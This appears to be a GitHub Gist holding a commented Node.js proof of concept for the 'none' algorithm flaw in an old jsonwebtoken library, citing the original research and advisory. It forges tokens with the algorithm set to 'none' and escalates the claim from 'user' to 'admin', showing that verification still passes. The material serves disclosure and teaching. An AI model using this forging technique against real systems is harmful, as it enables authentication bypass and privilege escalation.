Last active
June 12, 2022 10:36
-
-
Save nstarke/48ca723c2f3a168771ffd796b7cfb432 to your computer and use it in GitHub Desktop.
Exploiting JWT
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Original research publication: | |
// https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ | |
// | |
// Depdency installation command: | |
// npm i [email protected] | |
// | |
// Node security advisory: | |
// https://nodesecurity.io/advisories/88 | |
const jwt = require('jsonwebtoken'); | |
const secretKey = 'this is a secret key'; | |
// This represents a normal, server signed token issued to the client, perhaps upon successful | |
// authentication. | |
var originalToken = jwt.sign({ loggedInAs: 'user', iat: 1422779638 }, secretKey, { algorithm: 'HS256' }); | |
// This represents a normal server side verification of a token sent to the server by the client. | |
jwt.verify(originalToken, secretKey, function(err, result) { | |
console.log('this should pass', result, err); | |
}); | |
// This represents an abnormally signed token, perhaps created as an attempt to forge a token. | |
var diffKeyToken = jwt.sign({ loggedInAs: 'user', iat: 1422779638 }, 'different than secret key', { algorithm: 'HS256' }); | |
// This should fail because the key supplied when signing the token doesn't match the secret key | |
// which only the server knows. | |
jwt.verify(diffKeyToken, secretKey, function(err, result) { | |
console.log('this should fail', result, err); | |
}); | |
// Here we set the algorithm to 'none', and supply a key which does not match the secret server side | |
// key. This token could be created somewhere other than the server (where the secret lives) because | |
// the secret key doesn't need to be used in order to facilitate a successful verify operation. | |
// Also, the privilege of the token has been elevated from 'user' to 'admin' to demonstrate how | |
// this attack might be useful in a practical context. | |
var noneToken = jwt.sign({ loggedInAs: 'admin', iat: 1422779638 }, '', { algorithm: 'none' }); | |
// Even though the key doesn't match, because the algorithm is set to none, the result of the verify | |
// operation is success. This is the vulnerability. | |
jwt.verify(noneToken, secretKey, function(err, result) { | |
console.log('this should fail but will not because of the bug', result, err); | |
}); | |
// An extraneous case, which explicitly demonstrates that any key can be used with the 'none' | |
// algorithm and will result in a successful verification. | |
var noneTokenDiff = jwt.sign({ loggedInAs: 'admin', iat: 1422779638 }, 'different than secret key', { algorithm: 'none' }); | |
// This should not pass, but does because the 'none' algorithm is set. | |
jwt.verify(noneTokenDiff, secretKey, function(err, result) { | |
console.log('this should also fail but will not because of the bug', result, err); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment